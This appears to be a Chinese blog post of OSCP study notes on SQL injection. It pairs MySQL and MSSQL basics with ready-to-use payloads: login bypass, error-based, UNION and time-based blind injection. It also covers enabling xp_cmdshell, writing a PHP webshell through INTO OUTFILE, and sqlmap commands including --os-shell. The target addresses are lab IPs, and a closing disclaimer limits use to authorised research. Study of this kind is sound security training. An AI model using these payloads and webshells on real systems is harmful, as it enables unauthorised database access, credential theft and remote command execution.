文章总结: 本文介绍了OSCP学习中的SQL注入攻击技术,包括MySQL和MSSQL数据库基础操作、基于报错的SQL注入、基于联合查询的SQL注入、盲注技术以及自动化执行代码的方法。文章详细讲解了各种SQL注入技术的原理和实际操作命令,如使用单引号测试注入、利用UNION查询获取数据、基于时间的盲注等,并介绍了如何使用sqlmap工具自动化执行SQL注入攻击,最后还提到了通过SQL注入写入webshell的方法。
综合评分: 89
文章分类: WEB安全,渗透测试,漏洞分析
OSCP | SQL注入攻击
原创
小A法师
高级红队专家
2024年6月26日 07:36
北京
教材和学习方式详见开篇:OSCP学习之路-开篇
本篇对应教材第10章,主要内容“SQL数据库基础”、“SQL注入”、“自动执行代码”,记录使用工具和命令
10.1 SQl及数据库基础
10.1.2 数据库基础
mysql登录数据库
mysql -u root -p'root' -h 192.168.50.16 -P 3306
查看数据库版本
select version();
查看系统用户
select system_user();
查看数据库名
show databases;
查看具体表中数据
SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';
mssql登录
impacket-mssqlclient Administrator:[email protected] -windows-auth
查看版本
SELECT @@version;
查看数据库名
SELECT name FROM sys.databases;
查看表名
SELECT * FROM offsec.information_schema.tables;
查看具体表内容
select * from offsec.dbo.users;
10.2 SQl注入
10.2.1 基于报错的sql注入
例子
<?php$uname = $_POST['uname'];$passwd =$_POST['password'];
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";$result = mysqli_query($con, $sql_query);?>
用户名输入
offsec' OR 1=1 -- //
执行的sql语句是
SELECT * FROM users WHERE user_name= 'offsec' OR 1=1 --
可以绕过密码登录成功
一般先用单引号测试
offsec'
有报错信息可以尝试注入,获得数据库版本
' or 1=1 in (select @@version) -- //
查询表中数据
' OR 1=1 in (SELECT * FROM users) -- //
如果报错尝试查单列
' or 1=1 in (SELECT password FROM users) -- //
查执行用户
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
10.2.2 基于联合查询的SQL注入
例如
$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";
输入
' ORDER BY 1-- //
提示报错或者出现列数,比如6
%' UNION SELECT database(), user(), @@version, null, null -- //
联合查询会执行后面的查询依据,但是数据类型需要与原来字段一致,否则显示不出来,如果不一致可以改变位置
' UNION SELECT null, null, database(), user(), @@version -- //
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
' UNION SELECT null, username, password, description, null FROM users -- //
查表名、字段名、查数据均可
10.2.3 盲注
不报错也没有回显,可以基于时间盲注
http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
返回真,再用sleep函数做判断
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
10.3 自动执行代码
10.3.1 代码执行
mssql执行命令
impacket-mssqlclient Administrator:[email protected] -windows-auth
EXECUTE sp_configure 'show advanced options', 1;RECONFIGURE;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXECUTE xp_cmdshell 'whoami';
联合查询webshell写入
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
php webshell
<? system($_REQUEST['cmd']); ?>
10.3.2 自动化
sqlmap(-p 参数)
判断注入
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
读取数据
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
抓包注入
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
我在第一篇里提到的一些有价值的认证,还有什么质量高的认证考试我没想到的,可以私我
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:高级红队专家 小A法师《OSCP | SQL注入攻击》